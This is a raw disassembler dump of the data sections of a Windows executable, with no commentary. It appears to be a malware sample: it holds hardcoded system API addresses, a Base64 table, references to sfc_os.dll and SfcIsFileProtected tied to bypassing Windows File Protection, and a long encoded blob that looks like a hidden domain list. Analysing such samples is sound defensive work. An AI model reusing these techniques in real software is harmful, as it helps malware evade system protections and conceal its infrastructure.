dword_448250 dd 77C7F85Ah ; DATA XREF: sub_43AA12+4Aw
; sub_44108E+77Br ...
dword_448254 dd 77132EF6h ; DATA XREF: sub_43AED7+BDw
; sub_43F0EA+42r ...
dword_448258 dd 77E75D9Eh ; DATA XREF: sub_43DAAC+43r
; sub_440457+2B8w ...
dword_44825C dd 77E61608h ; DATA XREF: sub_43ED61+32r
; sub_440457+264w
dword_448260 dd 41h dup(0) ; DATA XREF: sub_43AA99:loc_43AAD1o
; sub_43B260+13o ...
dword_448364 dd 77E6BD13h ; DATA XREF: sub_43C38A+1384r
; sub_440457+37Cw
dword_448368 dd 77D44200h ; DATA XREF: sub_43EA51+10Ew
; sub_442C0A+27Br
align 10h
dword_448370 dd 0 ; DATA XREF: sub_43A34D+574w
; sub_43FEB1+23w ...
dword_448374 dd 0 ; DATA XREF: sub_43A34D+55Ar
; sub_44108E+475w ...
dword_448378 dd 0 ; DATA XREF: sub_43A34D+127r
; sub_43A34D+52Er ...
dword_44837C dd 0 ; DATA XREF: sub_43A34D+631r
; sub_44108E+833w ...
dword_448380 dd 0 ; DATA XREF: sub_43A34D+53r
; sub_43A34D+192r ...
dword_448384 dd 0 ; DATA XREF: sub_43A34D+69r
; sub_43A34D+88r ...
dword_448388 dd 0 ; DATA XREF: sub_43A34D+9Er
; sub_43A34D+2FAr ...
dword_44838C dd 0 ; DATA XREF: sub_43A34D+E1r
; sub_44108E+DB4w ...
dword_448390 dd 0 ; DATA XREF: sub_43A34D+5ADr
; sub_44108E+E07w
dword_448394 dd 0 ; DATA XREF: sub_43A34D+5E4r
; sub_44108E+E57w
dword_448398 dd 0 ; DATA XREF: sub_43A34D+618r
; sub_44108E+EA7w
dword_44839C dd 0 ; DATA XREF: sub_43A34D+64Cr
; sub_44108E+EF7w
dd 4A4h dup(0)
dword_449630 dd 77E79E34h ; DATA XREF: sub_440457+210w
; sub_443565+1Cr
dword_449634 dd 73D9D340h ; DATA XREF: sub_43B3A7+B1r
; sub_43C281+60r ...
dword_449638 dd 77E7A099h ; DATA XREF: sub_440457+3D0w
dword_44963C dd 0 ; DATA XREF: sub_43B52C+C5w
; sub_443589+15Fr
dword_449640 dd 73D9D5E0h ; DATA XREF: sub_43B3A7+A3r
; sub_43C38A+7D6r ...
dword_449644 dd 77E8074Ah ; DATA XREF: sub_440457+3B4w
; sub_4437B1+74r
dword_449648 dd 77D414D4h ; DATA XREF: sub_43EA51+66w
; sub_44108E+50Ar ...
dword_44964C dd 77F7E300h ; DATA XREF: sub_43EFD7+105r
; sub_440C06+38Ew ...
dword_449650 dd 77E77963h ; DATA XREF: sub_43AA99+217r
; sub_43ACC9+84r ...
align 10h
dword_449660 dd 0 ; DATA XREF: sub_43B780+434r
; sub_43B780+5CCw ...
dd 3E7h dup(0)
dword_44A600 dd 73D9DBA2h ; DATA XREF: sub_442662+146w
dword_44A604 dd 77D444F0h ; DATA XREF: sub_43EA51+25Ew
dword_44A608 dd 0 ; DATA XREF: sub_440457+1A0w
dword_44A60C dd 77D5BA26h ; DATA XREF: sub_43A34D+5B4r
; sub_43A34D+5EBr ...
off_44A610 dd offset byte_41A00D ; DATA XREF: sub_442A46+1A4r
; sub_442C0A+1F3w
dword_44A614 dd 77E681EFh ; DATA XREF: sub_43AFB5+D4r
; sub_43BFE5+6Br ...
dword_44A618 dd 77DD189Ah ; DATA XREF: sub_44015B+85w
; sub_440FBB+49r
dword_44A61C dd 77E7C2C4h ; DATA XREF: sub_440457+398w
; sub_442C0A+D8r
dword_44A620 dd 77D4A102h ; DATA XREF: sub_43EA51+1B6w
; sub_442C0A+118r
dword_44A624 dd 77E793EFh ; DATA XREF: sub_43ACC9+4Br
; sub_43C38A+63r ...
dword_44A628 dd 77D43FEDh ; DATA XREF: sub_43EA51+146w
; sub_44108E+DFBr ...
dword_44A62C dd 0 ; DATA XREF: sub_43B52C+71w
; sub_43F0EA+D73r
dword_44A630 dd 73D92B86h ; DATA XREF: sub_43A34D+46Cr
; sub_43B4C6+55r ...
dword_44A634 dd 73D9E5C5h ; DATA XREF: sub_43AFB5+5Br
; sub_43AFB5+88r ...
dword_44A638 dd 77D651AFh ; DATA XREF: sub_43EA51+2EAw
; sub_43EEA0+23r ...
dword_44A63C dd 77E77CCEh ; DATA XREF: sub_43D8A3+199r
; sub_440457+184w
dword_44A640 dd 77D6ADD7h ; DATA XREF: sub_43A34D+1DBr
; sub_43A34D+28Dr ...
dword_44A644 dd 7720C039h ; DATA XREF: sub_43C0C2+12r
; sub_43C0C2+32r ...
dword_44A648 dd 73D9D320h ; DATA XREF: sub_43C281+E7r
; sub_442662+D6w
dword_44A64C dd 77E6C9E0h ; DATA XREF: sub_43E8A2+7Er
; sub_440457+328w
dword_44A650 dd 77D45F74h ; DATA XREF: sub_43EA51+162w
; sub_44108E+4A5r
dword_44A654 dd 77D5BB6Ch ; DATA XREF: sub_43A34D+4D0r
; sub_43EA51+296w
dword_44A658 dd 77D47D27h ; DATA XREF: sub_43A34D+561r
; sub_43EA51+2B2w ...
dword_44A65C dd 77F7E21Fh ; DATA XREF: sub_43EFD7+78r
; sub_440C06+35Ew ...
dword_44A660 dd 77E73C49h ; DATA XREF: sub_440457+18w
; sub_442652+9r ...
dword_44A664 dd 77E6C0E3h ; DATA XREF: sub_43E8A2+A6r
; sub_440457+30Cw ...
align 10h
dword_44A670 dd 40h dup(0) ; DATA XREF: sub_43B52C+D5o
; sub_43B52C+229o ...
dword_44A770 dd 77E7751Ah ; DATA XREF: sub_43B780:loc_43BB83r
; sub_43B780:loc_43BD40r ...
dword_44A774 dd 0 ; DATA XREF: sub_43B52C+87w
; sub_44108E+37Dr
dword_44A778 dd 77E79424h ; DATA XREF: sub_43DAAC+103r
; sub_440457+478w
dword_44A77C dd 77D43DD3h ; DATA XREF: sub_43EA51+2CEw
; sub_442C0A+24Fr
dword_44A780 dd 77E71702h ; DATA XREF: sub_43DAAC+BFr
; sub_440457+45Cw
dword_44A784 dd 0 ; DATA XREF: sub_43AA82+3o
; sub_43AA82+Er ...
dword_44A788 dd 77E7A837h ; DATA XREF: sub_43AA99+7Cr
; sub_43ACC9+1Dr ...
align 10h
dword_44A790 dd 0 ; DATA XREF: sub_43E8A2:loc_43E8B2w
; sub_43E8A2+58r ...
dd 0FEh dup(0)
dword_44AB8C dd 77E79D8Ch ; DATA XREF: sub_43AA99+C4r
; sub_43AA99+1E3r ...
dword_44AB90 dd 77E7AC37h ; DATA XREF: sub_43B52C+108r
; sub_43B52C+143r ...
align 8
dword_44AB98 dd 77E7C657h ; DATA XREF: sub_43AFB5+22r
; sub_440457+494w
dword_44AB9C dd 77E78C81h ; DATA XREF: sub_43AA99+95r
; sub_43ADAC+CBr ...
dword_44ABA0 dd 771214E8h ; DATA XREF: sub_43AED7+66w
; sub_43D8A3+1E4r ...
dword_44ABA4 dd 77D5C13Ah ; DATA XREF: sub_43A34D+12Er
; sub_43A34D+199r ...
dword_44ABA8 dd 0 ; DATA XREF: sub_43A324+3o
; sub_43A324+Er ...
dword_44ABAC dd 73D9DBAFh ; DATA XREF: sub_43C38A+82Er
; sub_43C38A+87Er ...
dword_44ABB0 dd 7712151Dh ; DATA XREF: sub_43AED7+82w
; sub_43B780+647r
dword_44ABB4 dd 771C69DCh ; DATA XREF: sub_442386+4Aw
align 10h
dword_44ABC0 dd 77FC5460h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: sub_43EFD7+13o
; sub_43EFD7+73o ...
_bss ends
; Section 6. (virtual address 0004B000)
; Virtual size : 00001C00 ( 7168.)
; Section size in file : 00001C00 ( 7168.)
; Offset to raw data for section: 0004B000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_data segment para public 'DATA' use32
assume cs:_data
;org 44B000h
off_44B000 dd offset sub_444B04 ; DATA XREF: .text:0043A1B5r
dword_44B004 dd 0 ; DATA XREF: sub_43A1C3+4Aw
; sub_43A1C3+64r
dword_44B008 dd 0 ; DATA XREF: sub_43A1C3+38w
dword_44B00C dd 0 ; DATA XREF: sub_43A1C3+5Fw
; sub_43A1C3:loc_43A23Cr
dword_44B010 dd 0 ; DATA XREF: sub_43A25C+57w
align 8
dd 7325h
aWr: ; DATA XREF: sub_43A1C3+3Do
; sub_43A1C3+4Fo ...
unicode 0, <wr>,0
align 4
dd 4 dup(0)
dword_44B034 dd 0 ; DATA XREF: .text:0043A0F2w
dword_44B038 dd 0 ; DATA XREF: .text:0043A0FCw
; .text:0043A117r ...
dword_44B03C dd 0 ; DATA XREF: .text:0043A104w
dword_44B040 dd 14h dup(0) ; DATA XREF: .text:0043A111o
; .text:0043A11Fo
word_44B090 dw 1 ; DATA XREF: sub_43AA99+Cr
; sub_43B780+74r ...
align 4
dword_44B094 dd 6 ; DATA XREF: sub_43B780+1A6r
; sub_43DAAC+84r ...
dword_44B098 dd 7 ; DATA XREF: sub_43B4C6+43r
; sub_43B780+44Dr ...
dword_44B09C dd 8 ; DATA XREF: sub_43A34D+14Cr
; sub_43A34D+31Cr ...
dword_44B0A0 dd 4 ; DATA XREF: sub_43B780+104r
; sub_43BFE5+CFr ...
dword_44B0A4 dd 2 ; DATA XREF: sub_43A34D+1BCr
; sub_43B52C+187r ...
dword_44B0A8 dd 3 ; DATA XREF: sub_43B780+2CCr
; sub_43C281+91r ...
dword_44B0AC dd 3 ; DATA XREF: sub_43A34D+255r
; sub_43B52C+E7r ...
word_44B0B0 dw 8 ; DATA XREF: sub_43ADAC+B4r
; sub_43ADAC+DAr ...
align 4
dword_44B0B4 dd 8 ; DATA XREF: sub_43AA99+EFr
; sub_43B52C+1CCr ...
dword_44B0B8 dd 4 ; DATA XREF: sub_43B52C+1A3r
; sub_43BFE5:loc_43C0AFr ...
word_44B0BC dw 9 ; DATA XREF: sub_43B52C+164r
; sub_43C281+A9r ...
align 10h
dword_44B0C0 dd 1 ; DATA XREF: sub_43AA99+184r
; sub_43B182+7Cr ...
dword_44B0C4 dd 4 ; DATA XREF: sub_43A34D+359r
; sub_43ADAC+103r ...
word_44B0C8 dw 7 ; DATA XREF: sub_43A34D+426r
; sub_43A34D:loc_43A7ACr ...
align 4
dword_44B0CC dd 1 ; DATA XREF: sub_43A34D:loc_43A418r
; sub_43AA99+126r ...
word_44B0D0 dw 0 ; DATA XREF: sub_43B3A7+4Er
; sub_43B780+19Fr ...
align 4
dword_44B0D4 dd 1 ; DATA XREF: sub_43A34D+3B3r
; sub_43B3A7+E7r ...
word_44B0D8 dw 5 ; DATA XREF: sub_43A34D+B9r
; sub_43A34D+3ACr ...
align 4
word_44B0DC dw 6 ; DATA XREF: sub_43B780+9Ar
; sub_43B780+FDr ...
align 10h
word_44B0E0 dw 0 ; DATA XREF: sub_43AA99+61r
; sub_43AA99+E8r ...
align 4
dword_44B0E4 dd 2 ; DATA XREF: sub_43A34D+268r
; sub_43ADAC+79r ...
word_44B0E8 dw 5 ; DATA XREF: sub_43B52C+134r
; sub_43E40A+ADr ...
align 4
dword_44B0EC dd 5 ; DATA XREF: sub_43A34D+152r
; sub_43B3A7+75r ...
dword_44B0F0 dd 4 ; DATA XREF: sub_43A34D+35Er
; sub_43B52C+4Er ...
word_44B0F4 dw 9 ; DATA XREF: sub_43B780+24Fr
; sub_43C38A+1068r ...
align 4
dword_44B0F8 dd 2 ; DATA XREF: sub_43ACC9+33r
; sub_43B333+4Ar ...
dword_44B0FC dd 7 ; DATA XREF: sub_43AA99+1D2r
; sub_43B780:loc_43BD15r ...
word_44B100 dw 9 ; DATA XREF: sub_43A34D:loc_43A43Br
; sub_43A34D+345r ...
align 4
dword_44B104 dd 3 ; DATA XREF: sub_43B3A7+E2r
; sub_43B3A7+10Br ...
dword_44B108 dd 0 ; DATA XREF: sub_43C38A+183r
; sub_43C38A+601r ...
dword_44B10C dd 7 ; DATA XREF: sub_43B52C+236r
; sub_43BE80+95r ...
word_44B110 dw 4 ; DATA XREF: sub_43C38A+EEDr
; sub_43C38A+F01r ...
align 4
word_44B114 dw 2 ; DATA XREF: sub_43C38A+8B9r
; sub_43C38A+10BAr ...
align 4
dword_44B118 dd 1 ; DATA XREF: sub_43B3A7+55r
; sub_43B780+326r ...
dword_44B11C dd 3 ; DATA XREF: sub_43C38A+981r
; sub_43C38A+A44r ...
dword_44B120 dd 2 ; DATA XREF: sub_43A9C0+3Fr
; sub_43C38A+EDFr ...
dword_44B124 dd 1 ; DATA XREF: sub_43A34D:loc_43A8C9r
; sub_43AA99+68r ...
word_44B128 dw 0 ; DATA XREF: sub_43B52C+16Br
; sub_43C38A+46Br ...
align 4
dword_44B12C dd 5 ; DATA XREF: sub_43A34D+3Br
; sub_43AA99+163r ...
dword_44B130 dd 0 ; DATA XREF: sub_43ADAC+113r
; sub_43B3A7+92r ...
dword_44B134 dd 3 ; DATA XREF: sub_43B3A7:loc_43B4A4r
; sub_43C38A+337r ...
dword_44B138 dd 8 ; DATA XREF: sub_43A9C0+3Ar
; sub_43C38A+CDFr ...
dword_44B13C dd 2 ; DATA XREF: sub_43A34D:loc_43A9A9r
; sub_43BE80+25r ...
dword_44B140 dd 8 ; DATA XREF: sub_43B3A7+65r
; sub_43C281+F0r ...
dword_44B144 dd 5 ; DATA XREF: sub_43B3A7+102r
; sub_43BF3D+29r ...
word_44B148 dw 3 ; DATA XREF: sub_43B52C+26r
; sub_43B780+509r ...
align 4
dword_44B14C dd 6 ; DATA XREF: sub_43B3A7+C4r
; sub_43B780+320r ...
word_44B150 dw 5 ; DATA XREF: sub_43C38A+A5Dr
; sub_43C38A+100Er ...
align 4
word_44B154 dw 8 ; DATA XREF: sub_43A9C0+19r
; sub_43AA99+16Dr ...
align 4
dword_44B158 dd 0 ; DATA XREF: sub_43B260+8Er
; sub_43B780+26Dr ...
dword_44B15C dd 4 ; DATA XREF: sub_43C38A+8EAr
; sub_43DEF2+54r ...
dword_44B160 dd 8 ; DATA XREF: sub_43ADAC+87r
; sub_43ADAC+A9r ...
dword_44B164 dd 0 ; DATA XREF: sub_43B52C+1E0r
; sub_43C38A+28r ...
word_44B168 dw 8 ; DATA XREF: sub_43AA99+1FBr
; sub_43B333+41r ...
align 4
word_44B16C dw 4 ; DATA XREF: sub_43A34D+1B5r
; sub_43AA99+ACr ...
align 10h
word_44B170 dw 8 ; DATA XREF: sub_43B4C6+48r
; sub_43B52C:loc_43B705r ...
align 4
dword_44B174 dd 9 ; DATA XREF: sub_43A34D+492r
; sub_43AA99+1BBr ...
dword_44B178 dd 3 ; DATA XREF: sub_43B260+B0r
; sub_43BFE5+26r ...
dword_44B17C dd 6 ; DATA XREF: sub_43A34D+1C9r
; sub_43B3A7:loc_43B417r ...
word_44B180 dw 6 ; DATA XREF: sub_43C281+99r
; sub_43C38A+E7r ...
align 4
dword_44B184 dd 6 ; DATA XREF: sub_43AA99+12Dr
; sub_43B3A7+C9r ...
dword_44B188 dd 0 ; DATA XREF: sub_43A34D+30Er
; sub_43B3A7+44r ...
dword_44B18C dd 1 ; DATA XREF: sub_43A34D+275r
; sub_43A34D+48Cr ...
dword_44B190 dd 3 ; DATA XREF: sub_43AFB5+19Ar
; sub_43C154+89r ...
word_44B194 dw 0 ; DATA XREF: sub_43A34D:loc_43A449r
; sub_43A34D+307r ...
align 4
dword_44B198 dd 8 ; DATA XREF: sub_43A34D+19Fr
; sub_43B52C+11Cr ...
word_44B19C dw 6 ; DATA XREF: sub_43B780+525r
; sub_43C38A+123Er ...
align 10h
dword_44B1A0 dd 6 ; DATA XREF: sub_43AFB5+A6r
; sub_43BE80:loc_43BED3r ...
dword_44B1A4 dd 0 ; DATA XREF: sub_43B52C+1ACr
; sub_43BE80+48r ...
word_44B1A8 dw 0 ; DATA XREF: sub_43A34D+1A4r
; sub_43C38A:loc_43CE1Br ...
align 4
dword_44B1AC dd 4 ; DATA XREF: sub_43A34D:loc_43A3FEr
; sub_43AA99+13r ...
dword_44B1B0 dd 0 ; DATA XREF: sub_43A34D+141r
; sub_43B780:loc_43BB71r ...
dword_44B1B4 dd 1 ; DATA XREF: sub_43B333+2Fr
; sub_43C38A+1DCr ...
dword_44B1B8 dd 3 ; DATA XREF: sub_43A34D+134r
; sub_43A34D+33Fr ...
word_44B1BC dw 6 ; DATA XREF: sub_43AA99+B3r
; sub_43B52C+1FEr ...
align 10h
dword_44B1C0 dd 3 ; DATA XREF: sub_43A34D+146r
; sub_43A9C0+29r ...
dword_44B1C4 dd 5 ; DATA XREF: sub_43ADAC+11Br
; sub_43C38A+1B4r ...
dword_44B1C8 dd 2 ; DATA XREF: sub_43A34D+27Ar
; sub_43AA99+4Br ...
dword_44B1CC dd 4 ; DATA XREF: sub_43A34D+25Ar
; sub_43B52C+205r ...
dword_44B1D0 dd 1 ; DATA XREF: sub_43EFD7+Ar
; sub_43EFD7+1Ew ...
dword_44B1D4 dd 77E60000h ; DATA XREF: sub_440457+Cr
; sub_440457+28r ...
dword_44B1D8 dd 73D90000h ; DATA XREF: sub_442662+13w
; sub_442662+2Ew ...
dword_44B1DC dd 77D40000h ; DATA XREF: sub_43EA51+13w
; sub_43EA51+2Ew ...
dword_44B1E0 dd 77C70000h ; DATA XREF: sub_43AA12+13w
; sub_43AA12+2Ew ...
dword_44B1E4 dd 771B0000h ; DATA XREF: sub_442386+13w
; sub_442386+2Ew ...
dword_44B1E8 dd 77120000h ; DATA XREF: sub_43AED7+13w
; sub_43AED7+2Ew ...
dword_44B1EC dd 76BB0000h ; DATA XREF: sub_4425F7+13w
; sub_4425F7+2Ew ...
dword_44B1F0 dd 76C60000h ; DATA XREF: sub_442822+13w
; sub_442822+2Ew ...
dword_44B1F4 dd 773D0000h ; DATA XREF: sub_43AD5A+13w
; sub_43AD5A+2Ew ...
dword_44B1F8 dd 77DD0000h ; DATA XREF: sub_44015B+13w
; sub_44015B+2Ew ...
off_44B1FC dd offset aAbcdefghijklmn ; DATA XREF: sub_43BE80:loc_43BEF9r
; "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklm"...
dword_44B200 dd 0E860h, 0E9610000h, 2 dup(0) ; DATA XREF: sub_43C38A+945o
dword_44B210 dd 11h, 0Fh dup(0) ; DATA XREF: sub_43AF9B+8o
dword_44B250 dd 0E1F7EEA5h, 0BFFD7E2Ch, 869AE87Fh, 0CC244082h, 0D76ADDE2h
; DATA XREF: sub_43AF9B+3o
dd 1B77E1E1h, 505215B0h, 0D24B6456h, 3D357C6Bh, 280E85D5h
dd 1AB051F9h, 1E4E8744h, 0E383CCDFh, 323D4737h, 14F80518h
dd 6E0637BFh
dword_44B290 dd 0 ; DATA XREF: sub_441FCC:loc_4420B4r
; sub_441FCC+342w ...
off_44B294 dd offset sub_4400E0 ; DATA XREF: sub_43B780+5D3o
dd offset sub_43AA82
dd offset sub_43DDA6
dd offset sub_441018
dd offset sub_43DAA4
dd offset sub_4402FE
dd offset sub_43E40A
dword_44B2B0 dd 0 ; DATA XREF: sub_43B52C+DBw
; sub_43D8A3+103r ...
off_44B2B4 dd offset sub_43C0C2 ; DATA XREF: .data:off_44B2D0o
dd offset sub_43A324
dd offset sub_44020A
dd offset sub_4424B9
dd offset sub_43B17A
dd offset sub_43EA49
dd offset sub_4425A3
off_44B2D0 dd offset off_44B2B4 ; DATA XREF: sub_43FEB1+137o
; sub_440324+B0o
dword_44B2D4 dd 0 ; DATA XREF: sub_43FEB1+45o
; sub_43FEB1+7Fr ...
off_44B2D8 dd offset sub_44386C ; DATA XREF: .data:off_44B2F4o
dd offset sub_43C13D
dd offset sub_43D874
dd offset sub_44355D
dd offset sub_43B778
dd offset sub_43EE98
dd offset sub_440324
off_44B2F4 dd offset off_44B2D8 ; DATA XREF: sub_43FEB1:loc_440073o
aCreatethread db 'CreateThread',0 ; DATA XREF: sub_440C06+2ECo
aEntercriticals db 'EnterCriticalSection',0 ; DATA XREF: sub_440C06+2FFo
aInitializecrit db 'InitializeCriticalSection',0 ; DATA XREF: sub_440C06+312o
aLeavecriticals db 'LeaveCriticalSection',0 ; DATA XREF: sub_440C06+326o
align 4
dword_44B34C dd 0FFFFFFFFh ; DATA XREF: sub_44335A+34r
dd 2Ah dup(0FFFFFFFFh), 3Eh, 3 dup(0FFFFFFFFh), 3Fh, 34h
dd 35h, 36h, 37h, 38h, 39h, 3Ah, 3Bh, 3Ch, 3Dh, 7 dup(0FFFFFFFFh)
dd 0
dd 1, 2, 3, 4, 5, 6, 7, 8, 9, 0Ah, 0Bh, 0Ch, 0Dh, 0Eh
dd 0Fh, 10h, 11h, 12h, 13h, 14h, 15h, 16h, 17h, 18h, 19h
dd 6 dup(0FFFFFFFFh), 1Ah, 1Bh, 1Ch, 1Dh, 1Eh, 1Fh, 20h
dd 21h, 22h, 23h, 24h, 25h, 26h, 27h, 28h, 29h, 2Ah, 2Bh
dd 2Ch, 2Dh, 2Eh, 2Fh, 30h, 31h, 32h, 33h, 85h dup(0FFFFFFFFh)
off_44B74C dd offset loc_4433C8 ; DATA XREF: sub_44335A+67r
dd offset loc_4433D0
dd offset loc_443413
dd offset loc_443451
dword_44B75C dd 0DAF40004h, 87989Ah ; DATA XREF: sub_443C06+55o
dword_44B764 dd 2B770001h ; DATA XREF: sub_443C06+29o
db 0
aSS_0 db '%s%s\',0 ; DATA XREF: sub_4438E7+28Bo
; sub_4438E7+2EFo
byte_44B76F db 0 ; DATA XREF: sub_4438E7+A8o
dd 73254100h
db 2Ah, 0
word_44B776 dw 4 ; DATA XREF: sub_4438E7+63o
dd 0FFA6E0C5h
db 99h, 0
word_44B77E dw 0 ; DATA XREF: sub_4437B1+31o
a5kkqVx db '5kkq-vx',0
dword_44B788 dd 25C10000h, 746D5F73h, 752578h ; DATA XREF: sub_4437B1:loc_4437D2o
dword_44B794 dd 4, 6D002Fh, 6B0060h, 76h ; DATA XREF: sub_443589+27o
dword_44B7A4 dd 79570004h, 233633h ; DATA XREF: sub_442E96+40Do
dword_44B7AC dd 6BA70000h, 762D716Bh ; DATA XREF: sub_442C0A+16Ao
db 78h, 0
word_44B7B6 dw 0 ; DATA XREF: sub_442C0A+15Ao
aKkqVx_1 db 'kkq-vx',0
dword_44B7C0 dd 6BFD0000h, 762D716Bh ; DATA XREF: sub_442C0A+E8o
db 78h, 0
word_44B7CA dw 0 ; DATA XREF: sub_442C0A+9Bo
aUkkqVx db 'kkq-vx',0
dword_44B7D4 dd 256C0000h, 746D5F73h, 752578h ; DATA XREF: sub_442C0A:loc_442C95o
dword_44B7E0 dd 1F6C000Ah, 3330F0Ah, 8421Fh ; DATA XREF: sub_442822+1Co
db 2 dup(0)
word_44B7EE dw 0 ; DATA XREF: sub_442822+1o
aSfc_os_dll db 1Bh,'sfc_os.dll',0
dword_44B7FC dd 737F0000h, 70637274h ; DATA XREF: sub_442662+19Fo
db 79h, 0
word_44B806 dw 0 ; DATA XREF: sub_442662+183o
aOvsprintf db 'vsprintf',0
word_44B812 dw 0 ; DATA XREF: sub_442662+167o
dd 727073F9h, 66746E69h
db 0
byte_44B81D db 2 dup(0), 0D1h ; DATA XREF: sub_442662+14Bo
aStrcat db 'strcat',0
byte_44B827 db 0 ; DATA XREF: sub_442662+12Fo
dd 72737A00h, 646E61h
dword_44B830 dd 72EA0000h, 646E61h ; DATA XREF: sub_442662+113o
dword_44B838 dd 6DDE0000h, 65736D65h ; DATA XREF: sub_442662+F7o
db 74h, 0
word_44B842 dw 0 ; DATA XREF: sub_442662+DBo
aMemcpy db 'memcpy',0
dword_44B84C dd 6D970000h, 6D636D65h ; DATA XREF: sub_442662+BFo
db 70h, 0
word_44B856 dw 0 ; DATA XREF: sub_442662+A3o
aMalloc db 'malloc',0
dword_44B860 dd 66E20000h, 656572h ; DATA XREF: sub_442662+87o
dword_44B868 dd 61100000h, 696F74h ; DATA XREF: sub_442662+6Bo
dword_44B870 dd 744C0000h, 7070756Fh ; DATA XREF: sub_442662+4Fo
db 65h, 72h, 0
byte_44B87B db 0 ; DATA XREF: sub_442662:loc_442695o
dd 735F6E00h, 7065656Ch
db 0
byte_44B885 db 2 dup(0), 0A3h ; DATA XREF: sub_442662+1Co
aCrtdll_dll db 'crtdll.dll',0
byte_44B893 db 0 ; DATA XREF: sub_442662+1o
dd 72632200h, 6C6C6474h, 6C6C642Eh
db 0
byte_44B8A1 db 2 dup(0), 81h ; DATA XREF: sub_4425F7+3Co
aSfcisfileprote db 'SfcIsFileProtected',0
byte_44B8B7 db 0 ; DATA XREF: sub_4425F7+1Co
dd 6673AD00h, 6C642E63h
db 6Ch, 0
word_44B8C2 dw 0 ; DATA XREF: sub_4425F7+1o
aSfc_dll db '^sfc.dll',0
byte_44B8CD db 2 dup(0), 0D0h ; DATA XREF: sub_442386+A3o
aIsequalguid db 'IsEqualGUID',0
dword_44B8DC dd 43400000h, 696E556Fh, 6974696Eh, 7A696C61h ; DATA XREF: sub_442386+87o
db 65h, 0
word_44B8EE dw 0 ; DATA XREF: sub_442386+6Bo
aCoinitialize db '>CoInitialize',0
word_44B8FE dw 0 ; DATA XREF: sub_442386+4Fo
aCocreateinstan db ']CoCreateInstance',0
word_44B912 dw 0 ; DATA XREF: sub_442386:loc_4423B9o
aDclsidfromstri db 'dCLSIDFromString',0
byte_44B925 db 2 dup(0), 16h ; DATA XREF: sub_442386+1Co
aOle32_dll db 'ole32.dll',0
word_44B932 dw 0 ; DATA XREF: sub_442386+1o
aOle32_dll_0 db 'ole32.dll',0
byte_44B93F db 11h ; DATA XREF: sub_442318+24o
dd 0ECCB8200h, 0ECF0E7F6h, 0C7A2F6E7h, 0EDEEF2FAh, 0F0E7F0h
dword_44B954 dd 0E2D0001h ; DATA XREF: sub_441FCC+325o
db 0
byte_44B959 db 1, 0, 0Bh ; DATA XREF: sub_441FCC+2D3o
db 28h, 0
word_44B95E dw 1 ; DATA XREF: sub_441FCC+24Do
db 3, 20h, 0
byte_44B963 db 7 ; DATA XREF: sub_441FCC+229o
dd 3C204800h, 6772383Ch
db 67h, 0
word_44B96E dw 1 ; DATA XREF: sub_441FCC+1E1o
db 0E3h, 0C0h, 0
byte_44B973 db 7 ; DATA XREF: sub_441FCC:loc_4420FEo
dd 435F3700h, 180D4743h
db 18h, 0
word_44B97E dw 42Bh ; DATA XREF: sub_441FCC+10o
dd 969B90F3h, 9D969B90h, 80968183h, 9D9ADD80h, 94D09C95h
dd 83979F9Ch, 0DD9F9F9Ch, 0D09E9C90h, 94879D9Ah, 0DD979F9Ch
dd 0D09E9C90h, 0DD848484h, 0DD819190h, 84D08681h, 80DD8484h
dd 8098909Ch, 0D09092DDh, 819C8780h, 8A92839Eh, 9E9C90DDh
dd 868190D0h, 0DD839C87h, 9DD0869Dh, 96DD8496h, 90DD9494h
dd 84D09E9Ch, 83DD8484h, 9A899D9Ch, 9E929080h, 9C90DD80h
dd 9684D09Eh, 9E9C909Fh, 80DDC096h, 969F9A9Eh, 0DD9C90DDh
dd 9CD09886h, 0DDC1919Fh, 9A87929Dh, 87969D9Ch, 9E9C90DDh
dd 848484D0h, 9A9191DDh, 8681DD9Dh, 80929ED0h, 0DE819687h
dd 9C90DD8Bh, 8484D09Eh, 9C83DD84h, 809A899Dh, 809E9290h
dd 9E9C90DDh, 848484D0h, 9D9291DDh, 9291DE98h, 9686829Dh
dd 9D9290DEh, 0DD929792h, 84D09290h, 83DD8484h, 9A899D9Ch
dd 9E929080h, 9C90DD80h, 8484D09Eh, 9E91DD84h, 9C90DD9Ch
dd 9283D09Eh, 9F92838Ah, 9E9C90DDh, 929196D0h, 9C90DD8Ah
dd 8484D09Eh, 9291DD84h, 959C989Dh, 8697929Eh, 90DD9281h
dd 84D09E9Ch, 90DD8484h, 0DD90919Ah, 0D09E9C90h, 0DD848484h
dd 0DD918785h, 84D08681h, 90DD8484h, 9D929184h, 9C90DD98h
dd 9C94D09Eh, 9C83979Fh, 90DD9F9Fh, 84D09E9Ch, 83DD8484h
dd 9A899D9Ch, 9E929080h, 9C90DD80h, 8484D09Eh, 9E9EDD84h
dd 989D9291h, 0D08681DDh, 0DD848484h, 929A9D86h, 86818780h
dd 8681DD9Eh, 9F9C94D0h, 9F9C8397h, 9C90DD9Fh, 8484D09Eh
dd 9C83DD84h, 809A899Dh, 809E9290h, 9E9C90DDh, 848484D0h
dd 819C84DDh, 9291979Fh, 9CDD989Dh, 84D09481h, 90DD8484h
dd 9A979D92h, 96879297h, 9A819685h, 81969A95h, 9E9C90DDh
dd 848484D0h, 9D9C83DDh, 90809A89h, 0DD809E92h, 0D09E9C90h
dd 0DD848484h, 989D9291h, 9D9A959Ch, 0DD929A97h, 0D09E9C90h
dd 0DD848484h, 9291909Ah, 81DD989Dh, 9291D086h, 9D9A989Dh
dd 929BDD94h, 92959A9Fh, 9D9CDE8Bh, 969D9A9Fh, 0DD9C90DDh
dd 84D09886h, 85DD8484h, 9C979D96h, 929D8081h, 84DD969Eh
dd 8484D080h, 9E98DD84h, 8681DD91h, 848484D0h, 87969DDDh
dd 9A94929Eh, 81968780h, 9E9C90DDh, 859298D0h, 90899298h
dd 96879D96h, 9C90DD81h, 8484D09Eh, 9685DD84h, 819C979Dh
dd 9E929D80h, 8084DD96h, 9C8A9ED0h, 9D9A9F9Dh, 90909296h
dd 879D869Ch, 92DDC180h, 8A969191h, 9A87929Dh, 9F929D9Ch
dd 0DD9C90DDh, 9CD09886h, 9D9A9F9Dh, 8691DE96h, 969D9A80h
dd 9FDD8080h, 978A9C9Fh, 91808780h, 0DD9C90DDh, 84D09886h
dd 92DD8484h, 9B929F9Fh, 97929192h, 989D9291h, 9E9C90DDh
dd 848484D0h, 909181DDh, 9E9C90DDh, 848484D0h, 9D9C83DDh
